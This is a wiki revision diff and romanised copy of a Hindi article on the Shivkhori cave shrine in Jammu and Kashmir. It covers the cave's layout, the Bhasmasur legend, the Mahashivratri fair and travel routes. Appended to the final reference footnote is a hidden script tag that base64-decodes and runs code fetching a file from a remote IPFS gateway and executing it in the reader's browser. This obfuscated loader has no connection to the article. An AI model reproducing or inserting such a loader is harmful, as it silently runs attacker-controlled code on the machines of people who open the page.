Difference between revisions of "शिवखोड़ी"

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==भगवान शिव के प्रमुख पूजनीय स्थल==
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शिवखोड़ी गुफा [[जम्मू और कश्मीर|जम्मू - कश्मीर राज्य]] के 'रयसी जिले' में स्थित है। यह [[शिव|भगवान शिव]] के प्रमुख पूजनीय स्थलो में से एक है। यह पवित्र गुफा 150 मीटर लंबी है। इस गुफा के अन्‍दर भगवान शंकर का 4 फीट ऊंचा [[शिवलिंग]] है। इस शिवलिंग के ऊपर पवित्र जल की धारा सदैव गिरती रहती है। यह एक प्राकृतिक गुफा है। इस गुफा के अंदर अनेक देवी -[[देवता|देवताओं]] की मनमोहक आकृतियां है।  इन आकृतियों को देखने से दिव्य आंनद की प्राप्ति होती है। शिवखोड़ी गुफा को [[हिंदू]] देवी-देवताओं के घर के रूप में भी जाना जाता है।  
शिवखोड़ी गुफा [[जम्मू और कश्मीर|जम्मू - कश्मीर राज्य]] के 'रयसी जिले' में स्थित है। यह [[शिव|भगवान शिव]] के प्रमुख पूजनीय स्थलो में से एक है। यह पवित्र गुफा 150 मीटर लंबी है। इस गुफा के अन्‍दर भगवान शंकर का 4 फीट ऊंचा [[शिवलिंग]] है। इस शिवलिंग के ऊपर पवित्र जल की धारा सदैव गिरती रहती है। यह एक प्राकृतिक गुफा है। इस गुफा के अंदर अनेक देवी -[[देवता|देवताओं]] की मनमोहक आकृतियां है।  इन आकृतियों को देखने से दिव्य आंनद की प्राप्ति होती है। शिवखोड़ी गुफा को [[हिंदू]] देवी-देवताओं के घर के रूप में भी जाना जाता है।    
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==अर्थ==
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[[पहाड़ी भाषा]] में गुफा को 'खोड़ी' कहते है। इस प्रकार पहाड़ी भाषा में 'शिवखोड़ी' का अर्थ होता है- भगवान शिव की गुफा।
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==स्थिति==   
 
==स्थिति==   
 
शिवखोड़ी तीर्थस्थल हरी-भरी पहाड़ियो के मध्य में स्थित है। यह रनसू से 3.5 की दूरी पर स्थित है। रनसू शिवखोड़ी का बेस कैम्प है। यहाँ से पैदल यात्रा कर आप वहाँ  तक पहुंच सकते हैं। रनसू तहसील रयसी में आता है, जो कटरा से 80 कि.मी. की दूरी पर स्थित है। कटरा [[वैष्णो देवी]] की यात्रा का बेस कैम्प है। जम्मू से यह 110 कि.मी. की दूरी पर स्थित है। जम्मू से बस या कार के द्वारा रनसू तक पहुंच सकते है। वैष्णो देवी से आने वाले यात्रियों के लिए जम्मू-कश्मीर टूरिज्‍म विभाग की ओर से बस सुविधा भी मुहैया कराई जाती है। कटरा से रनसू तक के लिए हल्के वाहन भी उपलब्ध है। रनसू गाँव  रैयसी राजौरी मार्ग से 6 कि.मी. की दूरी पर स्थित है।
 
शिवखोड़ी तीर्थस्थल हरी-भरी पहाड़ियो के मध्य में स्थित है। यह रनसू से 3.5 की दूरी पर स्थित है। रनसू शिवखोड़ी का बेस कैम्प है। यहाँ से पैदल यात्रा कर आप वहाँ  तक पहुंच सकते हैं। रनसू तहसील रयसी में आता है, जो कटरा से 80 कि.मी. की दूरी पर स्थित है। कटरा [[वैष्णो देवी]] की यात्रा का बेस कैम्प है। जम्मू से यह 110 कि.मी. की दूरी पर स्थित है। जम्मू से बस या कार के द्वारा रनसू तक पहुंच सकते है। वैष्णो देवी से आने वाले यात्रियों के लिए जम्मू-कश्मीर टूरिज्‍म विभाग की ओर से बस सुविधा भी मुहैया कराई जाती है। कटरा से रनसू तक के लिए हल्के वाहन भी उपलब्ध है। रनसू गाँव  रैयसी राजौरी मार्ग से 6 कि.मी. की दूरी पर स्थित है।
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==इतिहास==
 
==इतिहास==
पौराणिक धार्मिक ग्रंथो में भी इस गुफा के बारे में वर्णन मिलता है। इस गुफा को खोजने का श्रेय एक [[मुस्लिम]] गड़रिये को जाता है। यह गड़रिया अपनी खोई हुई बकरी खोजते हुए इस गुफा तक पहुंच गया। जिज्ञासावश वह गुफा के अंदर चला गया,  जहाँ उसने शिवलिंग को देखा। धार्मिक ग्रंधो के अनुसार भगवान शंकर इस गुफा में योग मुद्रा में बैठे हुए हैं। गुफा के अन्दर अन्य देवी देवताओं की आकृति भी मौजूद है।
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पौराणिक धार्मिक ग्रंथो में भी इस गुफा के बारे में वर्णन मिलता है। इस गुफा को खोजने का श्रेय एक [[मुस्लिम]] गड़रिये को जाता है। यह गड़रिया अपनी खोई हुई बकरी खोजते हुए इस गुफा तक पहुंच गया। जिज्ञासावश वह गुफा के अंदर चला गया,  जहाँ उसने शिवलिंग को देखा। धार्मिक ग्रंथों के अनुसार भगवान शंकर इस गुफा में योग मुद्रा में बैठे हुए हैं। गुफा के अन्दर अन्य देवी देवताओं की आकृति भी मौजूद है।
 
 
==अर्थ==
 
[[पहाड़ी भाषा]] में गुफा को 'खोड़ी' कहते है। इस प्रकार पहाड़ी भाषा में 'शिवखोड़ी' का अर्थ होता है- भगवान शिव की गुफा। 
 
  
 
==गुफा का आकार==   
 
==गुफा का आकार==   
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गुफा का मुहाना काफी बड़ा है। यह 20 फीट चौड़ा और 22 फीट ऊंचा है। गुफा के मुहाने पर [[शेषनाग]] की आकृति के दर्शन होते है। [[अमरनाथ|अमरनाथ गुफा]] के समान शिवखोड़ी गुफा में भी कबूतर दिख जाते हैं। संकीर्ण रास्ते से होकर यात्री गुफा के मुख्य भाग में पहुंचते हैं। गुफा के मुख्य स्थान पर भगवान शंकर का 4 फीट ऊंचा शिवलिंग है। इसके ठीक ऊपर [[गाय]] के चार थन बने हुए है जिन्हें [[कामधेनु]] के थन कहा जाता है। इनमें से निरंतर जल गिरता रहता है।  
 
गुफा का मुहाना काफी बड़ा है। यह 20 फीट चौड़ा और 22 फीट ऊंचा है। गुफा के मुहाने पर [[शेषनाग]] की आकृति के दर्शन होते है। [[अमरनाथ|अमरनाथ गुफा]] के समान शिवखोड़ी गुफा में भी कबूतर दिख जाते हैं। संकीर्ण रास्ते से होकर यात्री गुफा के मुख्य भाग में पहुंचते हैं। गुफा के मुख्य स्थान पर भगवान शंकर का 4 फीट ऊंचा शिवलिंग है। इसके ठीक ऊपर [[गाय]] के चार थन बने हुए है जिन्हें [[कामधेनु]] के थन कहा जाता है। इनमें से निरंतर जल गिरता रहता है।  
  
शिवलिंग के बाईं ओर माता [[पार्वती]] की आकृति है। यह आकृति ध्यान की मुद्रा में है। माता पार्वती की मूर्ति के साथ ही में गौरी कुण्ड है, जो हमेशा पवित्र जल से भरा रहता है। शिवलिंग के बाईं ओर ही भगवान कार्तिकेय की आकृति भी साफ दिखाई देती है। कार्तिकय की प्रतिमा के ऊपर भगवान [[गणेश]] की पंचमुखी आकृति है। शिवलिंग के पास ही में [[राम |राम दरबार]] है। गुफा के अन्दर ही हिन्दुओं के 33 करोड़ देवी-देवताओं की आकृति बनी हुई है। गुफा के ऊपर की ओर छहमुखी शेषनाग, त्रिशुल आदि की आकृति साफ दिखाई देती है। साथ-ही-साथ सुदर्शन चक्र की गोल आकृति भी स्‍पष्‍ट दिखाई देती है। गुफा के दूसरे हिस्से में [[लक्ष्मी|महालक्ष्मी]], [[महाकाली]], हासरस्वती के पिण्डी रूप में दर्शन होते है।  
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शिवलिंग के बाईं ओर माता [[पार्वती]] की आकृति है। यह आकृति ध्यान की मुद्रा में है। माता पार्वती की मूर्ति के साथ ही में गौरी कुण्ड है, जो हमेशा पवित्र जल से भरा रहता है। शिवलिंग के बाईं ओर ही भगवान कार्तिकेय की आकृति भी साफ दिखाई देती है। कार्तिकेय की प्रतिमा के ऊपर भगवान [[गणेश]] की पंचमुखी आकृति है। शिवलिंग के पास ही में [[राम |राम दरबार]] है। गुफा के अन्दर ही हिन्दुओं के 33 करोड़ देवी-देवताओं की आकृति बनी हुई है। गुफा के ऊपर की ओर छहमुखी शेषनाग, त्रिशुल आदि की आकृति साफ दिखाई देती है। साथ-ही-साथ सुदर्शन चक्र की गोल आकृति भी स्‍पष्‍ट दिखाई देती है। गुफा के दूसरे हिस्से में [[लक्ष्मी|महालक्ष्मी]], [[महाकाली]], हासरस्वती के पिण्डी रूप में दर्शन होते है।  
  
 
==पौराणिक कथाएं==  
 
==पौराणिक कथाएं==  
  
 
====भस्मासुर की कथा====   
 
====भस्मासुर की कथा====   
इस गुफा के संबंध में अनेक कथाएं प्रसिद्ध है। इन कथाओं में भस्मासुर से संबंधित कथा सबसे अधिक प्रचलित है। भस्मासुर असुर जाति का था। उसने भगवान शंकर की घोर तपस्या की थी। जिससे प्रसन्‍न होकर भगवान शंकर ने उसे वरदान दिया था कि वह जिस व्यक्ति के सिर पर हाथ रखेगा वह भस्‍म हो जाएगा। वरदान प्राप्ति के बाद वह ऋषि-मुनियो पर अत्याचार करने लगा। उसका अत्याचार इतना बढ़ गया था कि देवता भी उससे डरने लगे थे। देवता उसे मारने का उपाय ढूढ़ने लगे। इसी उपाय के अंतर्गत नारद मुनि ने उसे देवी पार्वती का अपहरण करने के लिए प्रेरित किया। [[नारद मुनि]] ने भस्मासुर से कहां, वह तो अति बलवान है। इसलिए उसके पास तो पार्वती जैसी सुन्दरी होनी चाहिए जो कि अति सुन्दर है। भस्मासुर के मन में लालच आ गया और वह पार्वती को पाने की इच्छा से भगवान शंकर के पीछे भागा। शंकर ने उसे अपने पीछे आता देखा तो वह पार्वती और नंदी को साथ में लेकर भागे। और फिर शिव खोड़ी के पास आकर रूक गए। यहाँ भस्मासुर और भगवान शंकर के बीच में युद्ध प्रारंभ हो गया। यहाँ पर युद्ध होने के कारण ही इस स्थान का नाम '''रनसू''' पड़ा। रन का मतलब युद्ध और सू का मतलब भूमि होता है। इसी कारण इस स्थान को रनसू कहा जाता है। रनसू शिव खोड़ी यात्रा का बेस कैम्प है। अपने ही दिए हुए वरदान के कारण वह उसे नहीं मार सकते थे। भागवान शंकर ने अपने त्रिशुल से शिव खोड़ी का निमार्ण किया। शंकर भगवान ने माता पार्वती के साथ गुफा में प्रवेश किया और योग साधना में बैठ गये। इसके बाद भगवान [[विष्णु]] ने पार्वती का रूप धारण किया और भस्मासुर के साथ नृत्य करने लगे। नृत्य के दौरान ही उन्होंने अपने सिर पर हाथ रखा उसी प्रकार भस्मासुर ने भी अपने सिर पर हाथ रखा जिस कारण वह भस्म हो गया। इसके पश्चात् भगवान विष्णु ने कामधेनु की मदद से गुफा के अन्दर प्रवेश किया फिर सभी देवी-देवताओं ने वहाँ भगवान शंकर की अराधना की। इसी समय भगवान शंकर ने कहा कि आज से यह स्थान शिव खोड़ी से जाना जायेगा।
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इस गुफा के संबंध में अनेक कथाएं प्रसिद्ध है। इन कथाओं में भस्मासुर से संबंधित कथा सबसे अधिक प्रचलित है। भस्मासुर असुर जाति का था। उसने भगवान शंकर की घोर तपस्या की थी। जिससे प्रसन्‍न होकर भगवान शंकर ने उसे वरदान दिया था कि वह जिस व्यक्ति के सिर पर हाथ रखेगा वह भस्‍म हो जाएगा। वरदान प्राप्ति के बाद वह ऋषि-मुनियो पर अत्याचार करने लगा। उसका अत्याचार इतना बढ़ गया था कि देवता भी उससे डरने लगे थे। देवता उसे मारने का उपाय ढूढ़ने लगे। इसी उपाय के अंतर्गत नारद मुनि ने उसे देवी पार्वती का अपहरण करने के लिए प्रेरित किया। [[नारद मुनि]] ने भस्मासुर से कहां, वह तो अति बलवान है। इसलिए उसके पास तो पार्वती जैसी सुन्दरी होनी चाहिए जो कि अति सुन्दर है। भस्मासुर के मन में लालच आ गया और वह पार्वती को पाने की इच्छा से भगवान शंकर के पीछे भागा। शंकर ने उसे अपने पीछे आता देखा तो वह पार्वती और नंदी को साथ में लेकर भागे। और फिर शिव खोड़ी के पास आकर रूक गए। यहाँ भस्मासुर और भगवान शंकर के बीच में युद्ध प्रारंभ हो गया। यहाँ पर युद्ध होने के कारण ही इस स्थान का नाम '''रनसू''' पड़ा। '''रन का मतलब युद्ध और सू का मतलब भूमि होता है।''' इसी कारण इस स्थान को रनसू कहा जाता है। रनसू शिव खोड़ी यात्रा का बेस कैम्प है। अपने ही दिए हुए वरदान के कारण वह उसे नहीं मार सकते थे। भागवान शंकर ने अपने त्रिशुल से शिव खोड़ी का निमार्ण किया। शंकर भगवान ने माता पार्वती के साथ गुफा में प्रवेश किया और योग साधना में बैठ गये। इसके बाद भगवान [[विष्णु]] ने पार्वती का रूप धारण किया और भस्मासुर के साथ नृत्य करने लगे। नृत्य के दौरान ही उन्होंने अपने सिर पर हाथ रखा उसी प्रकार भस्मासुर ने भी अपने सिर पर हाथ रखा जिस कारण वह भस्म हो गया। इसके पश्चात् भगवान विष्णु ने कामधेनु की मदद से गुफा के अन्दर प्रवेश किया फिर सभी देवी-देवताओं ने वहाँ भगवान शंकर की अराधना की। इसी समय भगवान शंकर ने कहा कि आज से यह स्थान शिव खोड़ी से जाना जायेगा।
  
 
==प्रमुख त्योहार==
 
==प्रमुख त्योहार==
[[महाशिवरात्रि]] का पावन पर्व जो कि भगवान शिव को समर्पित है शिव खोडी में बड़े धूमधाम से मनाया जाता है। हर वर्ष यहाँ पर तीन दिन के मेले का आयोजन किया जाता है। कुछ वर्षो से यहाँ पर आने वाले श्रद्धालुओ की संख्या में काफी वृद्धि हुई है। अलग-अलग राज्यो से आकर श्रद्धालु यहाँ पर भगवान शिव का आशीर्वाद प्राप्त करते हैं। शिवरात्रि का त्योहार [[फरवरी]] के अन्तिम सप्ताह या [[मार्च]] के प्रथम सप्ताह में मनाया जाता हैं।
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[[महाशिवरात्रि]] का पावन पर्व जो कि भगवान शिव को समर्पित है शिव खोडी में बड़े धूमधाम से मनाया जाता है। हर वर्ष यहाँ पर तीन दिन के मेले का आयोजन किया जाता है। कुछ वर्षो से यहाँ पर आने वाले श्रद्धालुओं की संख्या में काफी वृद्धि हुई है। अलग-अलग राज्यों से आकर श्रद्धालु यहाँ पर भगवान शिव का आशीर्वाद प्राप्त करते हैं। शिवरात्रि का त्योहार [[फरवरी]] के अन्तिम सप्ताह या [[मार्च]] के प्रथम सप्ताह में मनाया जाता हैं।
 
 
==श्राइन बोर्ड द्वारा किये गये कार्य==
 
शिवरात्रि मेले में र्तीथ यात्रियों की संख्या में वृद्धि को देखते हुए यहाँ पर एक श्राइन बोर्ड का गठन किया गया है। श्राइन बोर्ड द्वारा यहाँ पर र्तीथयात्रियों के लिए के विशेष प्रबंध किये गए हैं। पैदल यात्रा के दौरान यात्रियों को कोई परशानी न हो इसके लिए जगह-जगह पीने के पानी की व्यवस्था की गई है। यात्रियों के विश्राम के लिए रास्ते मे जगह-जगह पर विश्राम स्थल बनाएँ गए है। पैदल यात्रा को सुगम और आरामदायक बनाने के लिए 3 कि. मी. के पैदल मार्ग में टाइल लगाया गया है।
 
 
 
रनसू गाँव बस यात्रा का अन्तिम पड़ाव है। इसके बाद यहाँ से 3 कि. मी. की पैदल यात्रा प्रारंम्भ हो जाती है। रनसू में यात्रियों के ठहरने की उचित व्यवस्था है। श्राइन बोर्ड ने यहाँ पर स्वास्थ्य संबंधी सेवाये मुहैया कराई है। रनसू में यात्रियों के लिए घोड़े व पालकी की व्यवस्था भी हैं। श्राइन बोर्ड द्वारा गुफा के अन्दर रोशनी का प्रबंध किया गया है। गुफा के बाहर यात्रियो के लिए शौचालय, पीने के पानी आदि का भी उचित प्रबंध किया गया है। बारिश से बचाव के लिए यात्रा मार्ग में जगह-जगह पर टिन सेड लगाये गये हैं। रोशनी के लिए पूरे मार्ग में लैम्प लगाये गये हैं। जनरेटर आदि की व्यवस्था भी की गई है। यात्रियों के सामान रखने के लिए क्‍लॉक रूम बनाये गए हैं। रनसू गाँव कटरा, जम्मू, उघमपुर से सड़क मार्ग से जुड़ा हुआ है। जम्मू-कश्‍मीर टूरिजम विभाग द्वारा यहाँ तक आने के लिए बस सर्विस भी मुहैया करायी जाती हैं।
 
  
 
==कैसे पहुंचे==
 
==कैसे पहुंचे==

Revision as of 11:25, 28 August 2011

shivakho di gupha jammoo - kashmir rajy ke 'rayasi jile' mean sthit hai. yah bhagavan shiv ke pramukh poojaniy sthalo mean se ek hai. yah pavitr gupha 150 mitar lanbi hai. is gupha ke anh‍dar bhagavan shankar ka 4 phit ooancha shivaliang hai. is shivaliang ke oopar pavitr jal ki dhara sadaiv girati rahati hai. yah ek prakritik gupha hai. is gupha ke aandar anek devi -devataoan ki manamohak akritiyaan hai. in akritiyoan ko dekhane se divy aannad ki prapti hoti hai. shivakho di gupha ko hiandoo devi-devataoan ke ghar ke roop mean bhi jana jata hai.

arth

paha di bhasha mean gupha ko 'kho di' kahate hai. is prakar paha di bhasha mean 'shivakho di' ka arth hota hai- bhagavan shiv ki gupha.

sthiti

shivakho di tirthasthal hari-bhari paha diyo ke madhy mean sthit hai. yah ranasoo se 3.5 ki doori par sthit hai. ranasoo shivakho di ka bes kaimp hai. yahaan se paidal yatra kar ap vahaan tak pahuanch sakate haian. ranasoo tahasil rayasi mean ata hai, jo katara se 80 ki.mi. ki doori par sthit hai. katara vaishno devi ki yatra ka bes kaimp hai. jammoo se yah 110 ki.mi. ki doori par sthit hai. jammoo se bas ya kar ke dvara ranasoo tak pahuanch sakate hai. vaishno devi se ane vale yatriyoan ke lie jammoo-kashmir toorijh‍m vibhag ki or se bas suvidha bhi muhaiya karaee jati hai. katara se ranasoo tak ke lie halke vahan bhi upalabdh hai. ranasoo gaanv raiyasi rajauri marg se 6 ki.mi. ki doori par sthit hai.

jammoo se prakritik sauandary ka aannad uthakar shivakho di tak ja sakate hai. jamh‍moo se shiv kho di jane ke raste mean kaphi sare manohari drishy milate hai, jo ki yatriyoan ka man moh lete hai. kalakal karate jharane, paha di sundarata adi paryatakoan ko apani or akarshit karate hai.

itihas

pauranik dharmik grantho mean bhi is gupha ke bare mean varnan milata hai. is gupha ko khojane ka shrey ek muslim g dariye ko jata hai. yah g dariya apani khoee huee bakari khojate hue is gupha tak pahuanch gaya. jijnasavash vah gupha ke aandar chala gaya, jahaan usane shivaliang ko dekha. dharmik granthoan ke anusar bhagavan shankar is gupha mean yog mudra mean baithe hue haian. gupha ke andar any devi devataoan ki akriti bhi maujood hai.

gupha ka akar

gupha ka akar bhagavan shankar ke damaroo ke akar ka hai. jis tarah se damaroo donoan taraph se b da hota hai aur bich me se chhota hota hai usi prakar gupha bhi donoan taraph se b di hai aur bich mean chhoti hai. gupha ka muhana 100 mi. chau da hai. parantu aandar ki or badhane par yah sankirn hota jata hai. gupha apane andar kaphi sare prakritik sauandary drishy samete hue hai.

gupha ka muhana kaphi b da hai. yah 20 phit chau da aur 22 phit ooancha hai. gupha ke muhane par sheshanag ki akriti ke darshan hote hai. amaranath gupha ke saman shivakho di gupha mean bhi kabootar dikh jate haian. sankirn raste se hokar yatri gupha ke mukhy bhag mean pahuanchate haian. gupha ke mukhy sthan par bhagavan shankar ka 4 phit ooancha shivaliang hai. isake thik oopar gay ke char than bane hue hai jinhean kamadhenu ke than kaha jata hai. inamean se nirantar jal girata rahata hai.

shivaliang ke baeean or mata parvati ki akriti hai. yah akriti dhyan ki mudra mean hai. mata parvati ki moorti ke sath hi mean gauri kund hai, jo hamesha pavitr jal se bhara rahata hai. shivaliang ke baeean or hi bhagavan kartikey ki akriti bhi saph dikhaee deti hai. kartikey ki pratima ke oopar bhagavan ganesh ki panchamukhi akriti hai. shivaliang ke pas hi mean ram darabar hai. gupha ke andar hi hinduoan ke 33 karo d devi-devataoan ki akriti bani huee hai. gupha ke oopar ki or chhahamukhi sheshanag, trishul adi ki akriti saph dikhaee deti hai. sath-hi-sath sudarshan chakr ki gol akriti bhi sh‍pashh‍t dikhaee deti hai. gupha ke doosare hisse mean mahalakshmi, mahakali, hasarasvati ke pindi roop mean darshan hote hai.

pauranik kathaean

bhasmasur ki katha

is gupha ke sanbandh mean anek kathaean prasiddh hai. in kathaoan mean bhasmasur se sanbandhit katha sabase adhik prachalit hai. bhasmasur asur jati ka tha. usane bhagavan shankar ki ghor tapasya ki thi. jisase prasanh‍n hokar bhagavan shankar ne use varadan diya tha ki vah jis vyakti ke sir par hath rakhega vah bhash‍m ho jaega. varadan prapti ke bad vah rrishi-muniyo par atyachar karane laga. usaka atyachar itana badh gaya tha ki devata bhi usase darane lage the. devata use marane ka upay dhoodhane lage. isi upay ke aantargat narad muni ne use devi parvati ka apaharan karane ke lie prerit kiya. narad muni ne bhasmasur se kahaan, vah to ati balavan hai. isalie usake pas to parvati jaisi sundari honi chahie jo ki ati sundar hai. bhasmasur ke man mean lalach a gaya aur vah parvati ko pane ki ichchha se bhagavan shankar ke pichhe bhaga. shankar ne use apane pichhe ata dekha to vah parvati aur nandi ko sath mean lekar bhage. aur phir shiv kho di ke pas akar rook ge. yahaan bhasmasur aur bhagavan shankar ke bich mean yuddh praranbh ho gaya. yahaan par yuddh hone ke karan hi is sthan ka nam ranasoo p da. ran ka matalab yuddh aur soo ka matalab bhoomi hota hai. isi karan is sthan ko ranasoo kaha jata hai. ranasoo shiv kho di yatra ka bes kaimp hai. apane hi die hue varadan ke karan vah use nahian mar sakate the. bhagavan shankar ne apane trishul se shiv kho di ka nimarn kiya. shankar bhagavan ne mata parvati ke sath gupha mean pravesh kiya aur yog sadhana mean baith gaye. isake bad bhagavan vishnu ne parvati ka roop dharan kiya aur bhasmasur ke sath nrity karane lage. nrity ke dauran hi unhoanne apane sir par hath rakha usi prakar bhasmasur ne bhi apane sir par hath rakha jis karan vah bhasm ho gaya. isake pashchath bhagavan vishnu ne kamadhenu ki madad se gupha ke andar pravesh kiya phir sabhi devi-devataoan ne vahaan bhagavan shankar ki aradhana ki. isi samay bhagavan shankar ne kaha ki aj se yah sthan shiv kho di se jana jayega.

pramukh tyohar

mahashivaratri ka pavan parv jo ki bhagavan shiv ko samarpit hai shiv khodi mean b de dhoomadham se manaya jata hai. har varsh yahaan par tin din ke mele ka ayojan kiya jata hai. kuchh varsho se yahaan par ane vale shraddhaluoan ki sankhya mean kaphi vriddhi huee hai. alag-alag rajyoan se akar shraddhalu yahaan par bhagavan shiv ka ashirvad prapt karate haian. shivaratri ka tyohar pharavari ke antim saptah ya march ke pratham saptah mean manaya jata haian.

kaise pahuanche

pavitr gupha tak pahuanchane ka ek rasta ranasoo gaanv se hokar jata hai. ranasoo gaanv jammoo se s dak marg dvara ju da hua hai. aur jammoo sabhi rajyoan se s dak, rel v vayu marg se ju da hua hai.

vayu marg

shivakho di ka nikatatam havaee adda jammoo mean hai jo ki shivakho di se 110 ki.mi. ki doori par sthit hai. iandiyan eyaralaians, jet eyaraves, eyar sahara v sh‍paisajet ki rojana u dane yahaan ke lie hai.

rel marg

ap jammoo tak rel dvara pahuanch kar shivakho di tak ja sakate hai. jammoo sabhi rajyoan se rel dvara ju da hua hai. kaphi trenean jammoo tak jati hai. garmiyoan ki chhut़htiyoan me rel vibhag dvara vishesh rel yahaan ke lie chalaee jati hai.

s dak marg

ranasoo gaanv, rayasi-rajauri ro d par sthit hai. ranasoo gaanv shiv kho di ka bes kaimp hai. yah vaishno devi katara se bhi s dak marg se ju da hua hai. vaishno devi ke lie lagabhag sabhi rajyoan se bas seva hai. ap yahaan se 80 ki.mi. ki doori tay kar shiv kho di tak pahuanch sakate hai. katara tak jane ke lie kaphi basean upalabdh hai. jammoo-kashmir toorijh‍m vibhag dvara bhi shiv kho di dham ke lie bas suvidha muhaiya karaee jati hai. taiksi aur halke vahano dvara bhi yahaan tak pahuancha ja sakata hai. katara udhamapur aur jammoo se yatri bas, kar, taimpoo aur vain dvara shivakho di tak pahuanch sakate haian.

thaharane ki vyavastha

shraddhaluoan ki sankhya mean vriddhi ko dekhate hue jammoo-kashmir toorijh‍m vibhag dvara yatri nivas ki vyavastha ki gee hai. ye yatri nivas ranasoo gaanv mean hai. ranasoo shivakho di ka bes kaimp hai. yahaan par kaphi sankhya mean niji hotal bhi haian. yahaan par apako sabhi suvidhayean mil jayegi.[1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. shivakho di (hindi) yatra salah. abhigaman tithi: 28 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh